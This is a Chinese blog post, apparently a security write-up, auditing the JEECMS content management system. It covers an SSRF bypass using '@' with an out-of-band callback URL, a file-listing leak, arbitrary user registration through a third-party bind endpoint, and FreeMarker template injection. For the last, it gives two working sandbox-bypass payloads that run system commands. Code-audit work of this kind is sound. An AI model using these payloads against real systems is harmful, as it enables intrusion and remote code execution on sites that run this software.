某小众非知名cms代码审计

简要分析:


从官网的论坛上没有找到开发文档,从jeecms-parent/jeecms-common/pom.xml中可以发现应用系统使用了QueryDsl。QueryDsl是一个用于构建类型安全的SQL查询的框架,它可以根据你定义的JPA Entity实体类逆向生成查询类,通过操作查询类完成SQL的操作。从代码中可以发现使用了JPAQueryFactory来构建和执行查询。JPAQueryFactory会自动处理参数的转义和注入,确保查询的安全性,也就是不存在SQL注入的问题。

0x01 服务端请求伪造(SSRF):


源文件位置:src/main/java/com/jeecms/common/base/controller/CommonController.java

@RequestMapping(value = "/loadingImage")
public void loadingImage(HttpServletRequest request, HttpServletResponse response) {
    response.setContentType("image/jpeg");
    String imageUrl = request.getParameter("imageUrl");
    if(imageUrl.startsWith(LIMIT_RES_WX_HTTP) || imageUrl.startsWith(LIMIT_RES_WX_HTTPS)){
        ServletOutputStream out;
        try {
            out = response.getOutputStream();
            out.write(HttpUtil.readURLImage(imageUrl));
            out.close();
        } catch (IOException e) {
            logger.error(e.getMessage());
        }
    }else{
        ServletOutputStream out;
        try {
            out = response.getOutputStream();
            response.setStatus(Response.SC_NOT_FOUND);
            out.close();
        } catch (IOException e) {
            logger.error(e.getMessage());
        }
    }
}

imageUrl用户可控,静态变量LIMIT_RES_WX_HTTP和LIMIT_RES_WX_HTTPS指向域名mmbiz.qpic.cn

这里可以通过@符号进行绕过,然后会调用HttpUtil.readURLImage(imageUrl),最后将imageUrl参数传给readURLImage()方法发送GET请求:

在readURLImage方法还会调用readInputStream()方法获取响应信息,也就是说这是个有回显的SSRF漏洞

漏洞复现:

Payload:http://192.168.0.101:8083/common/loadingImage?imageUrl=http://mmbiz.qpic.cn@cmd5t3kob7ng43s4erq0mdzkjfjsuhbvs.oast.pro/ceshi.jpg

证明截图:

0x02 静态资源信息泄露:


源文件位置:src/main/java/com/jeecms/admin/controller/resource/UeditorUploadAct.java

@RequestMapping(value = "/ueditor/imageManager")
public void imageManager(Integer picNum, Boolean insite, 
        HttpServletRequest request, HttpServletResponse response)
        throws Exception {
    super.imageManager(picNum, insite, request, response);
}

这里会调用父类的imageManager()方法,跟进后发现会调用listFile()方法,传递request对象和请求参数start作为形参。

追踪重点方法listFile(),首先从请求中获取全局配置信息,然后根据配置中的上传路径(/u/cms/www)创建一个File对象,如果目录存在且是一个目录,方法将使用Apache Commons IO 库的FileUtils.listFiles方法获取目录下的所有文件(包括子目录),若start参数在有效范围内,将从文件列表中提取从start开始的20个文件,最后将文件列表的起始索引和总大小添加到状态对象中,并返回该对象。

也就是说,虽然一次只能获取20个文件的信息,我们可以通过多次请求,传参start+=20来获取/u/cms/www目录下的所有文件的路径信息。

漏洞复现:

Payload:http://192.168.0.101:8083/ueditor/imageManager?start=20

漏洞证明:

0x03 任意用户注册:


源文件位置:src/main/java/com/jeecms/front/controller/ThirdPartyLoginController.java

在第291行中,设置了一个URL路径为/bind的映射,将请求体中的数据传输到实体类PcLoginDto对象中

//判断登录方式
if (PcLoginDto.TYPE_LOGIN.equals(dto.getLoginWay())) {
    Boolean validName = memberService.validName(dto.getUsername());
    if (!validName) {
        return new ResponseInfo(UserErrorCodeEnum.USERNAME_ALREADY_EXIST.getCode(),
                UserErrorCodeEnum.USERNAME_ALREADY_EXIST.getDefaultMessage(), false);
    }
    //如果是直接登录,则默认创建会员,密码随机
    user.setPassword(String.valueOf(new SnowFlake(SnowFlake.SHORT_STR_CODE).nextId()));
    // 密码加密
    byte[] salt = Digests.generateSaltFix();
    user.setSalt(Digests.getSaltStr(salt));
    user.setThird(true);
    //新建会员用户
    user = memberService.save(user);
    this.bind(dto, user.getId());

当传递的loginWay=1时,检查username是否已经存在,若不存在则使用SnowFlake算法来生成一个短字符串作为密码,生成随机盐值设置为用户对象的盐值属性,然后调用memberService.save()方法获取一个新的实体类对象,然后执行bind()方法绑定第三方用户:

public void bind(PcLoginDto dto, Integer memberId) throws GlobalException {
    //查询第三方配置信息
    SysThird thirdInfo = thirdService.getCode(dto.getLoginType());
    SysUserThird third = new SysUserThird();
    third.setAppId(thirdInfo.getAppId());
    third.setThirdId(dto.getThirdId());
    third.setThirdUsername(dto.getNickname());
    third.setMemberId(memberId);
    third.setUsername(dto.getUsername());
    third.setThirdTypeCode(dto.getLoginType());
    sysUserThirdService.save(third);
}

综上,请求体中我们需要传递的参数有usernameloginWayloginTypethirdId,username不能是已经存在的用户名,loginWay要求等于1,loginType为QQ、WECHAT、WEIBO其中之一。

漏洞复现:

0x04 模板注入:


使用opensca-cli检查第三方组件漏洞,发现系统存在间接依赖freemarker:2.3.28,该版本存在SSTI漏洞

首先查找文件上传的接口,是否有用户可控,且不限制上传后缀或可被模板渲染解析的后缀。

源文件位置:src/main/java/com/jeecms/member/controller/UploadController.java

此处为注册用户可操作的一处上传接口,重点理解服务端如何处理上传的文件,追踪upload()方法

方法定义:src/main/java/com/jeecms/resource/service/impl/UploadService.java:

在validate()方法中会对上传的文件名进行验证:不允许存在/和空字符:

若指定了上传路径uploadPath,则需满足如下要求: 必须以/u/cms开头,且不得存在字符 ..\../

根据文件内容获取前10个字节的16进制数作为识别文件的标识,若识别到则进行白名单文件检查,否则进行黑名单检查

在doUpload()方法中,首先会根据文件内容判断其是否为图片,当拓展名为空时设置为jpg后缀:

最终调用storeByExt()方法根据拓展名生成一个随机文件名,并调用store()方法上传文件

利用该接口我们可以上传HTML文件至/u/cms/202X0X/目录下,于是找可以模板解析的代码:

源文件位置:src/main/java/com/jeecms/front/controller/FrontCommonController.java

@GetMapping(value = "/{page}.htm")
public String page(@PathVariable String page, HttpServletRequest request, HttpServletResponse response,
        ModelMap model) throws Exception {
    String loginUrl = WebConstants.LOGIN_URL;
    String ctx = request.getContextPath();
    if (StringUtils.isNoneBlank(ctx)) {
        loginUrl = ctx + loginUrl;
    }
    FrontUtils.frontData(request, model);
    FrontUtils.frontPageData(request, model);
    /** 将request中所有参数保存至model中 */
    Map<String, Object> params = RequestUtils.getQueryParams(request);
    if(params!=null){
        Set<String>keySet = params.keySet();
        String uri = request.getRequestURI();
        if (StringUtils.isNoneBlank(ctx)) {
            uri = uri.substring(ctx.length());
        }
        for(String key:keySet){
            if(params.get(key) instanceof String){
                String val = (String) params.get(key);
                if (StrUtils.isStartWithNumber(val) && !StrUtils.isNumeric(val) && !uri.startsWith(WebConstants.SEARCH_PREFIX)) {
                    return FrontUtils.pageNotFound(request, response, model);
                }
                params.put(key,XssUtil.cleanXSS(val));
            }
        }
    }
    model.putAll(params);
    String tpl = FrontUtils.getTplAbsolutePath(request, page, RequestUtils.COMMON_PATH_SEPARATE);
    String view = FrontUtils.getTplPath(request, tpl);
    String viewPath = realPathResolver.get(view);
    boolean tplExist = false;
    if (WebConstants.FREEMARKER_RES_TYPE.equals(freemarkResType)) {
        viewPath = templateLoaderPath + view;
        tplExist = new UrlResource(viewPath).exists();
    } else {
        viewPath = java.text.Normalizer.normalize(viewPath, java.text.Normalizer.Form.NFKD);
        File tplFile = new File(viewPath);
        tplExist = tplFile.exists();
    }
    if (tplExist) {
        return view;
    } else {
        return FrontUtils.pageNotFound(request, response, model);
    }
}

模板文件默认存放位置:/r/cms/www/default

首先调用FrontUtils.frontData(request, model)FrontUtils.frontPageData(request, model)会将系统的一些配置信息如模板文件默认存放位置/r/cms/www/default及部分访问路径信息保存在model中,通过利用org.springframework.ui.ModelMap,在model上添加对象,model是以map的形式存储的,这里的key和模板里是对应的,freemarker就是通过key来取得value的进行渲染。

然后调用FrontUtils.getTplAbsolutePath()方法,当 path 中存在-时,会以/进行替换。该方法用于获取模板的绝对路径。

由于在新版本freemarker中, 多了一个TemplateClassResolver.SAFER_RESOLVER配置。禁止加载ObjectConstructorExecutefreemarker.template.utility.JythonRuntime这三个类。同时为了防御通过其他方式调用恶意方法,FreeMarker内置了一份危险方法名单:unsafeMethods.properties

Constructor.newInstance被禁使得我们不能直接实例化对象,Method.invoke被禁使得我们不能直接调用方法。这里要做的是寻找一个类的静态成员对象(public static final),然后执行它的静态方法。

FreeMarker自带的O bjectWrapper类就是一个不错的选择,它的DEFAULT_WRAPPER字段是一个实例化后的O bjectWrapper对象,而O bjectWrapper的newInstance方法(继承自BeansWrapper)可以用于实例化一个类,我们只需要向它传入被禁用的freemarker.template.utility.Execute进行实例化,返回的对象就可以直接用于执行系统命令。

在2.3.30以下,freemaker模版注入存在绕过沙箱的方法:

  • 绕过class.getClassloader反射加载Execute类:
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

通过使用java.security.protectionDomaingetClassLoader方法来获得类加载器再一步一步反射调用Execute类,此payload需要在数据模型中找到一个作为对象的变量,比如从后台模板管理处,编辑index.html,将上面payload中的<<object>>为site:

  • 如果Spring Beans可用,可以直接禁用沙箱:
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}

此payload需要freemarker+spring并设置setExposeSpringMacroHelpers(true)或者在application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true

漏洞复现:

利用条件:JEECMS-Auth-Token

参考如下:


freemarker模版注入 - Escape-w - 博客园
奇安信攻防社区-某内容管理系统RCE漏洞分析

©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,456评论 5 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,370评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,337评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,583评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,596评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,572评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,936评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,595评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,850评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,601评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,685评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,371评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,951评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,934评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,167评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,636评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,411评论 2 342

推荐阅读更多精彩内容